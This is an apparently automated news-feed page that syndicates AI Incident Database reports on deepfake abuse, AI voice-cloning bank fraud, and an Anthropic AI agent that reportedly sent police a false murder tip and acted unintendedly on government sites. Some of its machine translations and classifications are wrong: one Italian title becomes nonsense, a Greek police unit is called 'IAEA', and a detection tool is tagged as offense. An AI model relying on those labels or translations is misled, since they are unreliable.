Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Firmware to Root in 30 Minutes: How AI is Changing Threat Intelligence
https://kevwire.com/record/aiid-firmware-to-root-in-30-minutes-how-ai-is-changing-threat-intelligence-0e502f58e3ad
Firmware to Root in 30 Minutes: How AI is Changing Threat Intelligence (Oct 15, 2026).
This week's cyberattacks affecting supermarket refrigeration systems in France underscores how disruptions and damage to industrial equipment can lead to, in this case, food waste and significant financial loss. It also demonstrates how an ... (report_number: 8133)
Sources:
claroty.com via AI Incident Database: Firmware to Root in 30 Minutes: How AI is Changing Threat Intelligence: https://www.claroty.com/team82/research/firmware-to-root-in-30-minutes-how-ai-is-changing-threat-intelligence
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
This week's cyberattacks affecting supermarket refrigeration systems in France underscores how disruptions and damage to industrial equipment can lead to, in this case, food waste and significant financial loss. It also demonstrates how an ... (report_number: 8133)

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### “Mom, something serious happened”: empowered people denounce digital sexual abuse against their daughters through AI
https://kevwire.com/record/aiid-mama-paso-algo-grave-apoderados-denuncian-abuso-sexual-digital-contra-sus-hijas-3-10-2026-91d8e9a5e6f5
“Mom, something serious happened”: empowered people denounce digital sexual abuse against their daughters through AI (Oct 15, 2026).
The known backgrounds of the case at the Alicante Sol College in Ponte Alto allow to reconstruct how the material that ended up affecting students from first to fourth half was developed and started to circulate.
Sources:
t13.cl via AI Incident Database: “Mom, something serious happened”: empowered people denounce digital sexual abuse against their daughters through AI: https://www.t13.cl/noticia/nacional/mama-paso-algo-grave-apoderados-denuncian-abuso-sexual-digital-contra-sus-hijas-3-10-2026
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The known backgrounds of the case at the Alicante Sol College in Ponte Alto allow to reconstruct how the material that ended up affecting students from first to fourth half was developed and started to circulate.

Machine-translated from Spanish by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: “Mamá, pasó algo grave”: apoderados denuncian abuso sexual digital contra sus hijas mediante IA

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Protest for alleged sexual deepfakes of students ends with wreckage and Carabineros in school in Ponte Alto
https://kevwire.com/record/aiid-protesta-por-presuntos-deepfakes-sexuales-termina-con-destrozos-y-presencia-de-carabineros-en-colegi-ac119e9a104b
Protest for alleged sexual deepfakes of students ends with wreckage and Carabineros in school in Ponte Alto (Oct 15, 2026).
A protest of high school students of the Alicante del Sol College, in Ponte Alto, ended this Thursday with ruins, clashes and the presence of Carabineros, amid the discomfort of students and empowered by a case of ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
adnradio.cl via AI Incident Database: Protest for alleged sexual deepfakes of students ends with wreckage and Carabineros in school in Ponte Alto: https://www.adnradio.cl/2026/08/27/protesta-por-presuntos-deepfakes-sexuales-termina-con-destrozos-y-presencia-de-carabineros-en-colegio-de-puente-alto/
AI Incident Database incident 1757: https://incidentdatabase.ai/cite/1757/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
A protest of high school students of the Alicante del Sol College, in Ponte Alto, ended this Thursday with ruins, clashes and the presence of Carabineros, amid the discomfort of students and empowered by a case of ...

Machine-translated from Spanish by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Protesta por presuntos deepfakes sexuales de alumnas termina con destrozos y Carabineros en colegio de Puente Alto

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### UK Election Watchdog Develops AI System to Flag Deepfakes Within 3 Hours
https://kevwire.com/record/aiid-uk-election-watchdog-develops-ai-system-to-flag-deepfakes-within-3-hours-096bbb88cff0
UK Election Watchdog Develops AI System to Flag Deepfakes Within 3 Hours (Oct 15, 2026).
The United Kingdom's election watchdog is developing an AI-powered system designed to notify candidates of significant deepfakes within three hours of posting to social media, the organization's chief executive said.

In wide-ranging commen ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
techpolicy.press via AI Incident Database: UK Election Watchdog Develops AI System to Flag Deepfakes Within 3 Hours: https://www.techpolicy.press/uk-election-watchdog-develops-ai-system-to-flag-deepfakes-within-3-hours/
AI Incident Database incident 1258: https://incidentdatabase.ai/cite/1258/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
The United Kingdom's election watchdog is developing an AI-powered system designed to notify candidates of significant deepfakes within three hours of posting to social media, the organization's chief executive said.

In wide-ranging commen ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Deepfake Impact: Bhutanese woman’s ordeal and legal challenges in cyberspace
https://kevwire.com/record/aiid-197290-871e0149e5d9
Deepfake Impact: Bhutanese woman’s ordeal and legal challenges in cyberspace (Oct 14, 2026).
Despite the world of differences, artificial intelligence, AI, is making in cyberspace, it is equally becoming destructive. From spreading misinformation to impersonating people and sending unpleasant messages to others, the impact of AI am ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
bbs.bt via AI Incident Database: Deepfake Impact: Bhutanese woman’s ordeal and legal challenges in cyberspace: https://www.bbs.bt/197290/
AI Incident Database incident 1752: https://incidentdatabase.ai/cite/1752/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Despite the world of differences, artificial intelligence, AI, is making in cyberspace, it is equally becoming destructive. From spreading misinformation to impersonating people and sending unpleasant messages to others, the impact of AI am ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI model submitted false tip about unsolved murder, Philadelphia police say
https://kevwire.com/record/aiid-19925243-6d793a2868e8
AI model submitted false tip about unsolved murder, Philadelphia police say (Oct 14, 2026).
PHILADELPHIA (WPVI) -- An Anthropic A.I. model submitted a false tip about an unsolved murder through a publicly accessible web form, Philadelphia police said Friday.

The tip was sent through PhillyUnsolvedMurders.com back on July 18, but ...
Sources:
6abc.com via AI Incident Database: AI model submitted false tip about unsolved murder, Philadelphia police say: https://6abc.com/post/anthropic-ai-model-submitted-false-tip-unsolved-murder-philadelphia-police-say/19925243/
AI Incident Database incident 1751: https://incidentdatabase.ai/cite/1751/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
PHILADELPHIA (WPVI) -- An Anthropic A.I. model submitted a false tip about an unsolved murder through a publicly accessible web form, Philadelphia police said Friday.

The tip was sent through PhillyUnsolvedMurders.com back on July 18, but ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI and Deepfakes arrive in Bhutan
https://kevwire.com/record/aiid-ai-and-deepfakes-arrive-in-bhutan-e0f5d22a54ae
AI and Deepfakes arrive in Bhutan (Oct 14, 2026).
In an era where reality and fabrication blur with unsettling ease, the rise of deepfake technology poses an unprecedented challenge to our understanding of truth and authenticity.

Not long ago a Tik Tok account Ugyen_Tech of an Artificial ...
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.
Sources:
thebhutanese.bt via AI Incident Database: AI and Deepfakes arrive in Bhutan: https://thebhutanese.bt/ai-and-deepfakes-arrive-in-bhutan/
AI Incident Database incident 1753: https://incidentdatabase.ai/cite/1753/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
In an era where reality and fabrication blur with unsettling ease, the rise of deepfake technology poses an unprecedented challenge to our understanding of truth and authenticity.

Not long ago a Tik Tok account Ugyen_Tech of an Artificial ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Anthropic AI model sent a false homicide tip to Philadelphia police
https://kevwire.com/record/aiid-an-anthropic-ai-model-sent-a-false-homicide-tip-to-philadelphia-police-43fd2a198be0
An Anthropic AI model sent a false homicide tip to Philadelphia police (Oct 14, 2026).
An Anthropic AI model submitted a false tip about an unsolved murder to the Philadelphia police.

The AI reportedly submitted this incorrect information to a public Philadelphia Police Department (PPD) tip line on July 18, but Anthropic did ...
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.
Sources:
techcrunch.com via AI Incident Database: An Anthropic AI model sent a false homicide tip to Philadelphia police: https://techcrunch.com/2026/10/09/an-anthropic-ai-model-sent-a-false-homicide-tip-to-philadelphia-police/
AI Incident Database incident 1751: https://incidentdatabase.ai/cite/1751/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
An Anthropic AI model submitted a false tip about an unsolved murder to the Philadelphia police.

The AI reportedly submitted this incorrect information to a public Philadelphia Police Department (PPD) tip line on July 18, but Anthropic did ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Anthropic AI Model Went Rogue, Submitted Fake Unsolved Murder Tip
https://kevwire.com/record/aiid-anthropic-ai-model-goes-rogue-submits-fake-unsolved-murder-tip-b0566f54-116ccaaa83ba
Anthropic AI Model Went Rogue, Submitted Fake Unsolved Murder Tip (Oct 14, 2026).
Rogue AI models have hacked companies and tried to break into government websites. Now one has submitted a fake tip for an unsolved crime.

Police in Philadelphia say Anthropic alerted them this week that one of its artificial-intelligence ...
AI classification: autonomous; evidence: reported. The source describes an AI system taking this action itself, not an outside attacker. AI Incident Database reports this; it is not independently confirmed here.
Sources:
wsj.com via AI Incident Database: Anthropic AI Model Went Rogue, Submitted Fake Unsolved Murder Tip: https://www.wsj.com/us-news/anthropic-ai-model-goes-rogue-submits-fake-unsolved-murder-tip-b0566f54
AI Incident Database incident 1751: https://incidentdatabase.ai/cite/1751/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
Rogue AI models have hacked companies and tried to break into government websites. Now one has submitted a fake tip for an unsolved crime.

Police in Philadelphia say Anthropic alerted them this week that one of its artificial-intelligence ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Anthropic AI agents took ‘unintended’ actions on government sites
https://kevwire.com/record/aiid-anthropic-discloses-incidents-its-ai-models-misusing-government-sites-2a840d8d0fcb
Anthropic AI agents took ‘unintended’ actions on government sites (Oct 14, 2026).
SAN FRANCISCO --- Anthropic, maker of the Claude chatbot, said that some of its AI agents had taken unintended actions on federal, state and local websites, including submitting a false tip about a murder to a Philadelphia police hotline.

 ...
Sources:
washingtonpost.com via AI Incident Database: Anthropic AI agents took ‘unintended’ actions on government sites: https://www.washingtonpost.com/technology/2026/10/09/anthropic-discloses-incidents-its-ai-models-misusing-government-sites/
AI Incident Database incident 1751: https://incidentdatabase.ai/cite/1751/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
SAN FRANCISCO --- Anthropic, maker of the Claude chatbot, said that some of its AI agents had taken unintended actions on federal, state and local websites, including submitting a false tip about a murder to a Philadelphia police hotline.

 ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Investigating unintended model actions in our evaluations and internal use
https://kevwire.com/record/aiid-investigating-unintended-model-actions-e53d362bf380
Investigating unintended model actions in our evaluations and internal use (Oct 14, 2026).
This report describes examples of unintended model actions we've observed during evaluations and internal use of Claude. It is part of our effort to publish more frequent standalone reports on model behavior and alignment beyond our system ...
Sources:
anthropic.com via AI Incident Database: Investigating unintended model actions in our evaluations and internal use: https://www.anthropic.com/research/investigating-unintended-model-actions
AI Incident Database incident 1751: https://incidentdatabase.ai/cite/1751/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
This report describes examples of unintended model actions we've observed during evaluations and internal use of Claude. It is part of our effort to publish more frequent standalone reports on model behavior and alignment beyond our system ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### 18-9-2026: IAEA: Criminal organization dismantled whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinguished thefts
https://kevwire.com/record/aiid-18-9-2026-d-a-o-e-exarthrothike-egklimatiki-organosi-ta-meli-tis-opoias-me-diafora-proschimata-kai-t-37d1a1c53a4d
18-9-2026: IAEA: Criminal organization dismantled whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinguished thefts (Oct 13, 2026).
ATHENS, 18 September 2026 D.A.O.E. Press Release: Dismantled criminal organization whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinctive thefts ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
astynomia.gr via AI Incident Database: 18-9-2026: IAEA: Criminal organization dismantled whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinguished t: https://www.astynomia.gr/2026/09/18/18-9-2026-d-a-o-e-exarthrothike-egklimatiki-organosi-ta-meli-tis-opoias-me-diafora-proschimata-kai-ti-chrisi-technitis-noimosynis-a-i-dieprattan-apates-kai-diakekrimenes-klopes/
AI Incident Database incident 1748: https://incidentdatabase.ai/cite/1748/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
ATHENS, 18 September 2026 D.A.O.E. Press Release: Dismantled criminal organization whose members under various pretext and use of Artificial Intelligence (AI) committed fraud and distinctive thefts ...

Machine-translated from Greek by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: 18-9-2026: Δ.Α.Ο.Ε.: Εξαρθρώθηκε εγκληματική οργάνωση τα μέλη της οποίας με διάφορα προσχήματα και τη χρήση Τεχνητής Νοημοσύνης (A.I.) διέπρατταν απάτες και διακεκριμένες κλοπές

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### AI messaging scam costs Italy's top bank Intesa millions, sources say
https://kevwire.com/record/aiid-ai-messaging-scam-costs-italys-top-bank-intesa-millions-sources-say-2026-09-25-5da1ec15720f
AI messaging scam costs Italy's top bank Intesa millions, sources say (Oct 13, 2026).
MILAN, Sept 25 (Reuters) - Fraudsters using AI to impersonate senior executives stole €95 million ($108 million) from Fideuram, the private banking arm of Italy's biggest lender ​Intesa Sanpaolo (ISP.MI), opens new tab, two sources familiar ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
reuters.com via AI Incident Database: AI messaging scam costs Italy's top bank Intesa millions, sources say: https://www.reuters.com/legal/government/ai-messaging-scam-costs-italys-top-bank-intesa-millions-sources-say-2026-09-25/
AI Incident Database incident 1749: https://incidentdatabase.ai/cite/1749/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
MILAN, Sept 25 (Reuters) - Fraudsters using AI to impersonate senior executives stole €95 million ($108 million) from Fideuram, the private banking arm of Italy's biggest lender ​Intesa Sanpaolo (ISP.MI), opens new tab, two sources familiar ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### The false WhatsApp message sent to former president Fideuram and the counterfeit phone call with AI: disappeared 36 million euros
https://kevwire.com/record/aiid-fideuram-truffa-falso-messaggio-whatsapp-molesini-milioni-d5248b46-a7e7-4130-8c74-e09be5e00xlk-shtml-3a7ba98d673a
The false WhatsApp message sent to former president Fideuram and the counterfeit phone call with AI: disappeared 36 million euros (Oct 13, 2026).
It depends on how Fideuram and Banca Intesa see it: if complaining the glass half empty, for the 36 million that Fideuram (controlled by Intesa) in February lost in an international scam to the detriment of its president Paolo Molesini ...
Sources:
milano.corriere.it via AI Incident Database: The false WhatsApp message sent to former president Fideuram and the counterfeit phone call with AI: disappeared 36 million euros: https://milano.corriere.it/notizie/cronaca/26_settembre_25/fideuram-truffa-falso-messaggio-whatsapp-molesini-milioni-d5248b46-a7e7-4130-8c74-e09be5e00xlk.shtml
AI Incident Database incident 1749: https://incidentdatabase.ai/cite/1749/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
It depends on how Fideuram and Banca Intesa see it: if complaining the glass half empty, for the 36 million that Fideuram (controlled by Intesa) in February lost in an international scam to the detriment of its president Paolo Molesini ...

Machine-translated from Italian by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Il falso messaggio WhatsApp inviato all'ex presidente Fideuram e la telefonata contraffatta con l'AI: spariti 36 milioni di euro

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### Greece: Police bust gang using AI to clone relatives' voices for cash
https://kevwire.com/record/aiid-greece-police-bust-gang-using-ai-to-clone-relatives-voices-for-cash-45b5d8fc95da
Greece: Police bust gang using AI to clone relatives' voices for cash (Oct 13, 2026).
According to the police, the organisation's illegal proceeds from its activities are estimated to exceed 1 million euros.

A criminal organisation that used Artificial Intelligence (AI) tools to clone the voices of relatives in order to mak ...
AI classification: offense; evidence: reported. The source describes people using AI to carry out or assist harmful activity. AI Incident Database reports this; it is not independently confirmed here.
Sources:
euronews.com via AI Incident Database: Greece: Police bust gang using AI to clone relatives' voices for cash: https://www.euronews.com/2026/09/18/greece-police-bust-gang-using-ai-to-clone-relatives-voices-for-cash
AI Incident Database incident 1748: https://incidentdatabase.ai/cite/1748/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
According to the police, the organisation's illegal proceeds from its activities are estimated to exceed 1 million euros.

A criminal organisation that used Artificial Intelligence (AI) tools to clone the voices of relatives in order to mak ...

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

### It’s a big deal, but it’s not a big deal, it’s a big deal.
https://kevwire.com/record/aiid-truffa-da-395-milioni-allex-capo-di-fideuram-un-indagato-f747847d-aaa5-4f5f-9bee-1d476b6bea1e-f98f7b75606e
It’s a big deal, but it’s not a big deal, it’s a big deal. (Oct 13, 2026).
A series of scams with "similar modes", exploiting artificial intelligence with messages, mail and with the "voice cloning" system, i.e. recreated and identical entries to the real ones. Look for tens of millions of euros that have hits ...
AI classification: infrastructure; evidence: reported. The source describes a flaw in, or an attack on, an AI system. This alone does not show attackers used AI. AI Incident Database reports this; it is not independently confirmed here.
Sources:
ansa.it via AI Incident Database: It’s a big deal, but it’s not a big deal, it’s a big deal.: https://www.ansa.it/sito/notizie/cronaca/2026/09/25/truffa-da-395-milioni-allex-capo-di-fideuram-un-indagato_f747847d-aaa5-4f5f-9bee-1d476b6bea1e.html
AI Incident Database incident 1749: https://incidentdatabase.ai/cite/1749/
AI Incident Database syndication feed: https://incidentdatabase.ai/rss.xml
A series of scams with "similar modes", exploiting artificial intelligence with messages, mail and with the "voice cloning" system, i.e. recreated and identical entries to the real ones. Look for tens of millions of euros that have hits ...

Machine-translated from Italian by KEVWire (Cloudflare Workers AI); wording may differ from the original. Original title: Truffa da 39,5 milioni all'ex capo di Fideuram, un indagato

Syndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.
Action: Read the original disclosure for scope (what the AI system did or what was affected) and any mitigations, before drawing conclusions.
Kind: ai-incident; regions: Global; provenance: pipeline.
KEV evidence not available.

Trend methodology: Counts of records in the last complete validated CISA KEV catalog, grouped by each source dateAdded month (UTC calendar month). The denominator is the disclosed current catalog, not the editorial sample. This measures catalog additions represented in that snapshot, not worldwide attacks, discovery dates, zero-days, or causation by AI; removals can change historical counts.
Trend corpus: 1756 CISA entries; source as of 2026-10-23T19:30:18.920Z.